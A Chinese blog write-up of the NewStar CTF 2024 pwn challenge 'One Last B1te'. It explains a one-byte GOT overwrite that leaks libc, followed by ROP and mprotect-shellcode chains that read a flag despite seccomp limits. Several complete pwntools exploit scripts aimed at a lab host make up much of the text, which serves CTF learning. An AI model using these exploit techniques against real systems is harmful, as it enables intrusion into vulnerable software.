Week3_OneLastB1te

Week3_One_Last_B1te

安全策略

{A63B9B7C-94D0-475F-9879-0FB051585F29}

查看沙盒限制

1
seccomp-tools dump ./pwn

0008:是return ALLOW所以当goto 0008就是只允许

0009:是return KILL所以当goto 0009就是禁止

{C8DF1A8A-484C-4556-B420-EFD0C2E76A56}

逆向分析

image-20241126091458741

修改buf指针的地址,可以随机写入1字节数据,由于存在延迟绑定(第一次调用函数时通过指针调用函数),修改close的plt指向write泄露libc或ld地址

修改都将修改地址存放值

exp

Snipaste_2024-11-27_21-21-28

mprotect开拓空间,read_orw,ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(log_level = 'debug',arch = 'amd64')
p = remote('192.168.65.1', 6666)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def sa(s, n): return p.sendafter(s, n)
def sla(s, n): return p.sendlineafter(s, n)
def sl(s): return p.sendline(s)
def sd(s): return p.send(s)
def rc(n): return p.recv(n)
def ru(s): return p.recvuntil(s)
def ti(): return p.interactive()

ret = 0x401144
main = 0x4013A3
sd(p64(elf.got['close']))
sd(b'\xc0')
sd(b'a'*0x18+p64(ret)+p64(main))
ru(b'a'*0x18)
rc(0xa0)
libc_base = u64(rc(6).ljust(8,b'\x00'))
print(hex(libc_base))
libc_base -= 0x2A28B
rubbish = 0x404800
sd(p64(rubbish))
sd(b'\x00')
pop_rdi = libc_base + 0x10f75b
pop_rsi = libc_base + 0x110a4d
xchg_eax_edx = libc_base + 0x1a7f27
#xchg_eax_edx = libc_base +
pop_rax = libc_base + 0xdd237
read_a = libc_base + 0x11BA50
mprotect = libc_base + 0x125C10
pop_rax = libc_base + 0xdd237
payload = b'a'*0x18+p64(pop_rdi)+p64(libc_base+0x202000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rax)+p64(7)+p64(xchg_eax_edx)+p64(mprotect)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc_base+0x202000)+p64(pop_rax)+p64(0x1000)+p64(xchg_eax_edx)+p64(read_a)+p64(libc_base+0x202000)
sd(payload)
shellcode = ''
shellcode += shellcraft.open('./flag',0,0)
shellcode += shellcraft.read('rax',libc_base+0x202000+0x800,0x200)
shellcode += shellcraft.write(2,libc_base+0x202000+0x800,'rax')
sd(asm(shellcode))
ti()

ROP链执行orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(log_level = 'debug',arch = 'amd64',os='linux')
p = remote('192.168.65.1', 6666)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def sa(s, n): return p.sendafter(s, n)
def sla(s, n): return p.sendlineafter(s, n)
def sl(s): return p.sendline(s)
def sd(s): return p.send(s)
def rc(n): return p.recv(n)
def ru(s): return p.recvuntil(s)
def ti(): return p.interactive()
def get_addr(): return u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

close_got = elf.got['close']
ru(b'Show me your UN-Lucky number : ')
sd(p64(close_got))
ru(b'Try to hack your UN-Lucky number with one byte :')
sd(b'\x00')
sd(b'a'*0x10+p64(0x404200)+p64(0x4013D2))#这里的rbp太妙了
ru(b'a'*0x10)
for i in range(7):
libc_base = ru(b'\x7f')
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(libc_base))
libc_base -= 0x2a28b
sd(p64(close_got))
ru(b'Try to hack your UN-Lucky number with one byte :')
sd(b'\x00')
pop_rdi = libc_base + 0x10f75b
pop_rsi = libc_base + 0x110a4d
pop_rax = libc_base + 0xdd237
open_a = libc_base + libc.sym['open']
read_a = libc_base + libc.sym['read']
write_a = libc_base + libc.sym['write']
payload = b'/flag\x00\x00\x00'+b'a'*0x10+p64(pop_rdi)+p64(0x4041f0)+p64(pop_rsi)+p64(0)+p64(open_a)+p64(pop_rdi)+p64(0x404000)+p64(pop_rsi)+p64(0x404080+5)+p64(libc_base+0xbf450)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x404200)+p64(read_a)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x404200)+p64(write_a)
sd(payload)
ti()

参考

{1B8C24F9-D8F3-4BAB-BE85-22A6A060EFF1}

{2ECE4B8E-0777-40EE-9B3F-2ABB075B1D9D}

泄露了__libc_start_main+139

官方wp

使用mprotect给一个空间执行权限,读写shellcode到目标空间,跳转执行

通过xchg指令给rdx寄存器赋值

One Last B1te | WriteUp - NewStar CTF 2024

修改close_got的重定向地址,close_plt = 0x4010f0,修改地址的低字节即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# sudo sysctl -w kernel.randomize_va_space=0
# gcc pwn.c -o pwn -masm=intel -no-pie -fno-stack-protector -l seccomp
from pwn import*
from Crypto.Util.number import long_to_bytes, bytes_to_long
context(log_level='debug',arch='amd64',os='linux')
ELFpath = './pwn'
p=remote('192.168.65.1',6666)

close_got=0x404028
write_plt=0x4010c0

p.sendafter("Show me your UN-Lucky number :",p64(close_got))
p.sendafter("Try to hack your UN-Lucky number with one byte :",b'\xc0')
ret=0x0401447
main=0x4013a3
rubbish=0x404000+0x800
payload=b'a'*0x18+p64(ret)+p64(main)
pause()#程序运行会停顿,便于观看debug日志

p.send(payload)
p.recvuntil(b'a'*0x18)
p.recv(0xb8-0x18)#接收libc泄露与返回地址之间字节
libc_base=u64(p.recv(6)+b'\x00\x00')-0x710b26c2a28b+0x710b26c00000
p.sendafter("Show me your UN-Lucky number :",p64(rubbish))
p.sendafter("Try to hack your UN-Lucky number with one byte :",b'\x70')

pop_rdi=libc_base+0x010f75b
pop_rsi=libc_base+0x110a4d
binsh=libc_base+0x1cb42f
xchg_edx_eax=libc_base+0x01a7f27
pop_rax=libc_base+0x0dd237
open_a=libc_base+0x011B120
read_a=libc_base+0x011BA50
mprotect=libc_base+0x00125C10
#使用pop_rax,参数,xchg_edx_eax,实现rdx赋值为rax,高字节是0清空了
payload=b'a'*0x18+p64(pop_rdi)+p64(libc_base+0x202000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rax)+p64(7)+p64(xchg_edx_eax)+p64(mprotect)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc_base+0x202000)+p64(pop_rax)+p64(0x1000)+p64(xchg_edx_eax)+p64(read_a)+p64(libc_base+0x202000)
pause()
p.send(payload)
pause()

shellcode=''
#系统调用中rax通常用于存储系统调用的返回值
#open\read返回的文件描述符与字节数都在rax中
shellcode+=shellcraft.open('./flag',0,0)#调用成功文件描述符为3或更大
shellcode+=shellcraft.read('rax',libc_base+0x202000+0x800,0x100)
#每个进程内核都有一个文件描述符表,存储文件描述符与内核中文件表项对应关系
#文件描述符是文件描述符表的索引,指向一个指针(文件表项)
shellcode+=shellcraft.write(2,libc_base+0x202000+0x800,'rax')
# gdb.attach(p)
p.send(asm(shellcode))
p.interactive()

{94C0EAA4-CB01-468F-B4D8-8F780C5288E5}

不能用ROPgadget查系统调用,mprotect可以通过查找触发系统调用的指令序列来搜索,如搜syscallmov rax

{ACDC5A6D-334C-423A-B2EB-91D1D97B7E8B}

xchg edx,eax;是如何修改整个的rdx的

32位寄存器的写操作会自动清零寄存器的高32位,硬件架构为了简化操作和提高效率的一个特性

{CD7C158C-6648-48CE-BF47-79E6A698B857}

{5EE78C1C-769A-4E4D-84BF-DCBC226C117B}

{39C3B2D1-6996-4247-89FF-E34957E66D48}

mprotect地址选择

libc中的.bss|.data|栈|堆|适合,plt|got|.text不推荐

orw中函数参数作用

open

int open(const char *pathname, int flags, mode_t mode);

open(‘文件路径’,文件模式(0只读,1只写,2读写),mode(指定新文件权限,设0或0—类似linux文件权限))

  • 成功:返回文件描述符,非负整数
  • 失败:-1,设置为errno

1确保文件以NULL结尾,否则open会失败

2程序运行用户对文件有读取权限

3对于已存在的文件,mode会被忽略,任意值都不会产生影响

read

ssize_t read(int fd, void *buf, size_t count);

read(文件描述符,缓冲区指针,最大读取字节数)

  • 成功:返回实际读取字节数
  • 失败:-1,设置为errno

write

ssize_t write(int fd, const void *buf, size_t count);

write(文件描述符,数据源缓冲区指针,写入字节数)

  • 成功:实际写入字节数
  • 失败:返回-1,设置errno

文件描述符(fd)

用于标记和引用文件

标准输入(stdin):0

标准输出(stdout):1

标准错误(stderr):2

当使用 fork()dup() 时,多个进程可以共享文件描述符,它们会指向相同的文件表项

大佬wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import*
import sys
import struct
elf=ELF('./one')
p=remote('192.168.65.1',6666)
#p = process('./one')
libc=ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def li(a):
print(hex(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def bug():
gdb.attach(p)
pause()

magic=0x00000000004011dc
#bug()
rl(b'Show me your UN-Lucky number : ')
s(p64(elf.got['close']))
rl(b'Try to hack your UN-Lucky number with one byte :')
s(b'\x00')
s(b'a'*0x10+p64(0x404200)+p64(0x4013D2))
rl(b'a'*0x10)
for i in range(7):
rl(b'\x00')
libc_base=get_addr()
libc_base=get_addr()
libc_base=get_addr()
libc_base=get_addr()
libc_base=get_addr()
libc_base=get_addr()
libc_base=get_addr()
libc_base=get_addr()-0x2a28b
li(libc_base)
system,bin=get_sb()
rdi=libc_base+0x000000000010f75b
rsi=libc_base+0x0000000000110a4d
syscall=libc_base+0x0000000000098fa6
rax=libc_base+0x00000000000dd237
open_addr=libc_base+libc.sym['open']
read_addr=libc_base + libc.sym['read']
write_addr=libc_base + libc.sym['write']

s(p64(elf.got['close']))
rl(b'Try to hack your UN-Lucky number with one byte :')
s(b'\x00')
s(b'/flag\x00\x00\x00'+b'a'*0x10+p64(rdi)+p64(0x4041f0)+p64(rsi)+p64(0)+p64(open_addr)+p64(rdi)+p64(0x404008)+p64(rsi)+p64(0x404080+5)+p64(libc_base+0x00000000000bf450)+p64(rdi)+p64(3)+p64(rsi)+p64(0x404200)+p64(read_addr)+p64(rdi)+p64(1)+p64(rsi)+p64(0x404200)+p64(write_addr))
inter()

下面是自己学习时写的

close_got修改为_init_proc,test rax,rax,逻辑与测试rax是否为0,为0则ZF置为1,不为0则call rax;__gmon_start__,返回到write函数

{CD7FFF9C-98E7-420B-B183-725A6CDB260C}

{737A0D89-1246-4C06-8DB3-FA53CF38B46A}

{CC26C01E-1DF3-4720-8525-3CF30A365CCE}

/flag --> /x2f/x66/x6c/x61/x67

{F84BABBE-FD35-4328-BBDB-61FDA5BB37BE}

{E7E47A9B-516C-4B78-A9FA-4CFFF75E0E2B}

太妙了,将rsi内存地址的值传入rdx,向rdi内存地址传入rdx,同时给rdx赋值

这里将stderr指向标准错误的值赋值给rdx

妄寻鱼师傅tql


Week3_OneLastB1te
http://sh1j1.github.io/2024/11/28/Week3-OneLastB1te/
作者
sh1j1
发布于
2024年11月28日
许可协议